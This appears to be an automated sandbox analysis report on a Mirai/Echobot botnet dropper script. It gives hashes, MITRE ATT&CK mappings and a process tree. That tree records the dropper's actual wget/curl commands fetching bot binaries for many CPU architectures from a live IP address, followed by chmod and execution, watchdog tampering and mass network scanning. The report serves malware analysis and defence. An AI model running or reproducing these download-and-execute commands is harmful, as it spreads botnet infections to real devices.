echobot | ac35b48ec56af9c6f18a9842ebeafbf53a72e2f8b8f11488e155d47ff06dc8e8

Analysis

max time kernel
100s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
01-12-2024 08:31

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General

Target

8UsA.sh
Size

1KB
MD5

40b419c1257c09142c7f5abcfe4d1e5f
SHA1

a02cd9e590d466b74a7607b6b882eddf441ffef6
SHA256

ac35b48ec56af9c6f18a9842ebeafbf53a72e2f8b8f11488e155d47ff06dc8e8
SHA512

fadecf09f5ac415682cdf53290f6e6c3180c67564504c2b88ae9e8e07b927432c4a20dc863963312a7a72b6d65166d5d8d043bc1c725b790b01caeb140bb9d49

Score

10^/10

echobot mirai botnet defense_evasion discovery trojan

Malware Config

Signatures

Detected Echobot 1 IoCs

resource	yara_rule
behavioral1/files/fstream-1.dat	family_echobot

Echobot
An updated variant of Mirai which infects a wide range of IoT devices to form a botnet.
botnet trojan echobot
Echobot family
echobot
Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (156906) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1531	chmod
1589	chmod
1603	chmod
1617	chmod
1503	chmod
1517	chmod
1545	chmod
1561	chmod
1575	chmod
1488	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/3AvA	1489	3AvA
/tmp/3AvA	1504	3AvA
/tmp/3AvA	1518	3AvA
/tmp/3AvA	1532	3AvA
/tmp/3AvA	1546	3AvA
/tmp/3AvA	1562	3AvA
/tmp/3AvA	1576	3AvA
/tmp/3AvA	1590	3AvA
/tmp/3AvA	1604	3AvA
/tmp/3AvA	1618	3AvA

Modifies Watchdog functionality 1 TTPs 20 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA

Enumerates active TCP sockets 1 TTPs 10 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 10 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	1489	3AvA
Changes the process name, possibly in an attempt to hide itself	1504	3AvA
Changes the process name, possibly in an attempt to hide itself	1518	3AvA
Changes the process name, possibly in an attempt to hide itself	1532	3AvA
Changes the process name, possibly in an attempt to hide itself	1546	3AvA
Changes the process name, possibly in an attempt to hide itself	1562	3AvA
Changes the process name, possibly in an attempt to hide itself	1576	3AvA
Changes the process name, possibly in an attempt to hide itself	1590	3AvA
Changes the process name, possibly in an attempt to hide itself	1604	3AvA
Changes the process name, possibly in an attempt to hide itself	1618	3AvA

Reads system network configuration 1 TTPs 10 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA
File opened for reading	/proc/net/tcp	3AvA

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1167/fd	3AvA
File opened for reading	/proc/409/fd	3AvA
File opened for reading	/proc/645/fd	3AvA
File opened for reading	/proc/1468/fd	3AvA
File opened for reading	/proc/1070/fd	3AvA
File opened for reading	/proc/1139/fd	3AvA
File opened for reading	/proc/1276/fd	3AvA
File opened for reading	/proc/448/fd	3AvA
File opened for reading	/proc/473/fd	3AvA
File opened for reading	/proc/513/fd	3AvA
File opened for reading	/proc/428/fd	3AvA
File opened for reading	/proc/458/fd	3AvA
File opened for reading	/proc/1022/fd	3AvA
File opened for reading	/proc/1465/fd	3AvA
File opened for reading	/proc/506/fd	3AvA
File opened for reading	/proc/1059/fd	3AvA
File opened for reading	/proc/1090/fd	3AvA
File opened for reading	/proc/1468/fd	3AvA
File opened for reading	/proc/1533/fd	3AvA
File opened for reading	/proc/666/fd	3AvA
File opened for reading	/proc/1221/fd	3AvA
File opened for reading	/proc/1167/fd	3AvA
File opened for reading	/proc/470/fd	3AvA
File opened for reading	/proc/666/fd	3AvA
File opened for reading	/proc/652/fd	3AvA
File opened for reading	/proc/1317/fd	3AvA
File opened for reading	/proc/1145/fd	3AvA
File opened for reading	/proc/506/fd	3AvA
File opened for reading	/proc/563/fd	3AvA
File opened for reading	/proc/1130/fd	3AvA
File opened for reading	/proc/949/fd	3AvA
File opened for reading	/proc/507/fd	3AvA
File opened for reading	/proc/1145/fd	3AvA
File opened for reading	/proc/1467/fd	3AvA
File opened for reading	/proc/1221/fd	3AvA
File opened for reading	/proc/1309/fd	3AvA
File opened for reading	/proc/469/fd	3AvA
File opened for reading	/proc/1173/fd	3AvA
File opened for reading	/proc/1112/fd	3AvA
File opened for reading	/proc/1468/fd	3AvA
File opened for reading	/proc/1022/fd	3AvA
File opened for reading	/proc/462/fd	3AvA
File opened for reading	/proc/523/fd	3AvA
File opened for reading	/proc/266/fd	3AvA
File opened for reading	/proc/1130/fd	3AvA
File opened for reading	/proc/1221/fd	3AvA
File opened for reading	/proc/1249/fd	3AvA
File opened for reading	/proc/699/fd	3AvA
File opened for reading	/proc/1116/fd	3AvA
File opened for reading	/proc/1129/fd	3AvA
File opened for reading	/proc/428/fd	3AvA
File opened for reading	/proc/1164/fd	3AvA
File opened for reading	/proc/691/fd	3AvA
File opened for reading	/proc/428/fd	3AvA
File opened for reading	/proc/1235/fd	3AvA
File opened for reading	/proc/1070/fd	3AvA
File opened for reading	/proc/429/fd	3AvA
File opened for reading	/proc/544/fd	3AvA
File opened for reading	/proc/1090/fd	3AvA
File opened for reading	/proc/1059/fd	3AvA
File opened for reading	/proc/1221/fd	3AvA
File opened for reading	/proc/1112/fd	3AvA
File opened for reading	/proc/652/fd	3AvA
File opened for reading	/proc/1022/fd	3AvA

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1493	wget
1501	curl
1504	3AvA

Writes file to tmp directory 20 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/UnHAnaAW.sh4	curl
File opened for modification	/tmp/UnHAnaAW.mpsl	wget
File opened for modification	/tmp/UnHAnaAW.arm6	curl
File opened for modification	/tmp/UnHAnaAW.arm7	wget
File opened for modification	/tmp/UnHAnaAW.ppc	curl
File opened for modification	/tmp/UnHAnaAW.m68k	wget
File opened for modification	/tmp/UnHAnaAW.sh4	wget
File opened for modification	/tmp/3AvA	8UsA.sh
File opened for modification	/tmp/UnHAnaAW.mips	curl
File opened for modification	/tmp/UnHAnaAW.arm5	curl
File opened for modification	/tmp/UnHAnaAW.ppc	wget
File opened for modification	/tmp/UnHAnaAW.m68k	curl
File opened for modification	/tmp/UnHAnaAW.x86	curl
File opened for modification	/tmp/UnHAnaAW.mpsl	curl
File opened for modification	/tmp/UnHAnaAW.arm4	curl
File opened for modification	/tmp/UnHAnaAW.arm5	wget
File opened for modification	/tmp/UnHAnaAW.arm7	curl
File opened for modification	/tmp/UnHAnaAW.x86	wget
File opened for modification	/tmp/UnHAnaAW.mips	wget
File opened for modification	/tmp/UnHAnaAW.arm6	wget

/tmp/8UsA.sh
/tmp/8UsA.sh
1⤵
- Writes file to tmp directory
PID:1465
- /usr/bin/wget
  wget http://27.102.129.91/bins/UnHAnaAW.x86
  2⤵
  - Writes file to tmp directory
  PID:1466
- /usr/bin/curl
  curl -O http://27.102.129.91/bins/UnHAnaAW.x86
  2⤵
  - Writes file to tmp directory
  PID:1479
- /bin/cat
  cat UnHAnaAW.x86
  2⤵
  PID:1487
- /bin/chmod
  chmod +x 3AvA 8UsA.sh config-err-d1U8bY netplan_q4owmhud snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-timedated.service-POhMjT UnHAnaAW.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1488
- /tmp/3AvA
  ./3AvA x86
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  PID:1489
- /usr/bin/wget
  wget http://27.102.129.91/bins/UnHAnaAW.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1493
- /usr/bin/curl
  curl -O http://27.102.129.91/bins/UnHAnaAW.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1501
- /bin/chmod
  chmod +x 3AvA 8UsA.sh config-err-d1U8bY netplan_q4owmhud snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-timedated.service-POhMjT UnHAnaAW.mips UnHAnaAW.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1503
- /tmp/3AvA
  ./3AvA mips
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:1504
- /usr/bin/wget
  wget http://27.102.129.91/bins/UnHAnaAW.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1508
- /usr/bin/curl
  curl -O http://27.102.129.91/bins/UnHAnaAW.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1515
- /bin/chmod
  chmod +x 3AvA 8UsA.sh config-err-d1U8bY netplan_q4owmhud snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-timedated.service-POhMjT UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1517
- /tmp/3AvA
  ./3AvA mpsl
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1518
- /usr/bin/wget
  wget http://27.102.129.91/bins/UnHAnaAW.arm4
  2⤵
  PID:1522
- /usr/bin/curl
  curl -O http://27.102.129.91/bins/UnHAnaAW.arm4
  2⤵
  - Writes file to tmp directory
  PID:1529
- /bin/chmod
  chmod +x 3AvA 8UsA.sh config-err-d1U8bY netplan_q4owmhud snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-timedated.service-POhMjT UnHAnaAW.arm4 UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1531
- /tmp/3AvA
  ./3AvA arm4
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1532
- /usr/bin/wget
  wget http://27.102.129.91/bins/UnHAnaAW.arm5
  2⤵
  - Writes file to tmp directory
  PID:1536
- /usr/bin/curl
  curl -O http://27.102.129.91/bins/UnHAnaAW.arm5
  2⤵
  - Writes file to tmp directory
  PID:1543
- /bin/chmod
  chmod +x 3AvA 8UsA.sh config-err-d1U8bY netplan_q4owmhud snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-timedated.service-POhMjT UnHAnaAW.arm4 UnHAnaAW.arm5 UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1545
- /tmp/3AvA
  ./3AvA arm5
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1546
- /usr/bin/wget
  wget http://27.102.129.91/bins/UnHAnaAW.arm6
  2⤵
  - Writes file to tmp directory
  PID:1552
- /usr/bin/curl
  curl -O http://27.102.129.91/bins/UnHAnaAW.arm6
  2⤵
  - Writes file to tmp directory
  PID:1559
- /bin/chmod
  chmod +x 3AvA 8UsA.sh config-err-d1U8bY netplan_q4owmhud snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z UnHAnaAW.arm4 UnHAnaAW.arm5 UnHAnaAW.arm6 UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1561
- /tmp/3AvA
  ./3AvA arm6
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1562
- /usr/bin/wget
  wget http://27.102.129.91/bins/UnHAnaAW.arm7
  2⤵
  - Writes file to tmp directory
  PID:1566
- /usr/bin/curl
  curl -O http://27.102.129.91/bins/UnHAnaAW.arm7
  2⤵
  - Writes file to tmp directory
  PID:1573
- /bin/chmod
  chmod +x 3AvA 8UsA.sh config-err-d1U8bY netplan_q4owmhud snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z UnHAnaAW.arm4 UnHAnaAW.arm5 UnHAnaAW.arm6 UnHAnaAW.arm7 UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1575
- /tmp/3AvA
  ./3AvA arm7
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1576
- /usr/bin/wget
  wget http://27.102.129.91/bins/UnHAnaAW.ppc
  2⤵
  - Writes file to tmp directory
  PID:1580
- /usr/bin/curl
  curl -O http://27.102.129.91/bins/UnHAnaAW.ppc
  2⤵
  - Writes file to tmp directory
  PID:1587
- /bin/chmod
  chmod +x 3AvA 8UsA.sh config-err-d1U8bY netplan_q4owmhud snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z UnHAnaAW.arm4 UnHAnaAW.arm5 UnHAnaAW.arm6 UnHAnaAW.arm7 UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.ppc UnHAnaAW.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1589
- /tmp/3AvA
  ./3AvA ppc
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1590
- /usr/bin/wget
  wget http://27.102.129.91/bins/UnHAnaAW.m68k
  2⤵
  - Writes file to tmp directory
  PID:1594
- /usr/bin/curl
  curl -O http://27.102.129.91/bins/UnHAnaAW.m68k
  2⤵
  - Writes file to tmp directory
  PID:1601
- /bin/chmod
  chmod +x 3AvA 8UsA.sh config-err-d1U8bY netplan_q4owmhud snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z UnHAnaAW.arm4 UnHAnaAW.arm5 UnHAnaAW.arm6 UnHAnaAW.arm7 UnHAnaAW.m68k UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.ppc UnHAnaAW.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1603
- /tmp/3AvA
  ./3AvA m68k
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1604
- /usr/bin/wget
  wget http://27.102.129.91/bins/UnHAnaAW.sh4
  2⤵
  - Writes file to tmp directory
  PID:1608
- /usr/bin/curl
  curl -O http://27.102.129.91/bins/UnHAnaAW.sh4
  2⤵
  - Writes file to tmp directory
  PID:1615
- /bin/chmod
  chmod +x 3AvA 8UsA.sh config-err-d1U8bY netplan_q4owmhud snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z UnHAnaAW.arm4 UnHAnaAW.arm5 UnHAnaAW.arm6 UnHAnaAW.arm7 UnHAnaAW.m68k UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.ppc UnHAnaAW.sh4 UnHAnaAW.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1617
- /tmp/3AvA
  ./3AvA sh4
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1618

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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/tmp/UnHAnaAW.x86

Filesize
69KB

MD5
4a5306ed50853b2ce31d13763bde2cd3

SHA1
12a84067a5b8ff314e005365faadd34d47ce0619

SHA256
81d46cb68a82a4f80f26f017a9e988acd67811fb5b461df2546a23ccc5f6a05d

SHA512
b9732bdbe82f34591e5e21b45f80fa7f465932aa6a6f07fd3389a866b0a94b39bd59d4f298fdd896e9b9a601bd4d72494338b1a5817d558ba3b6d2ed1d43e081

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads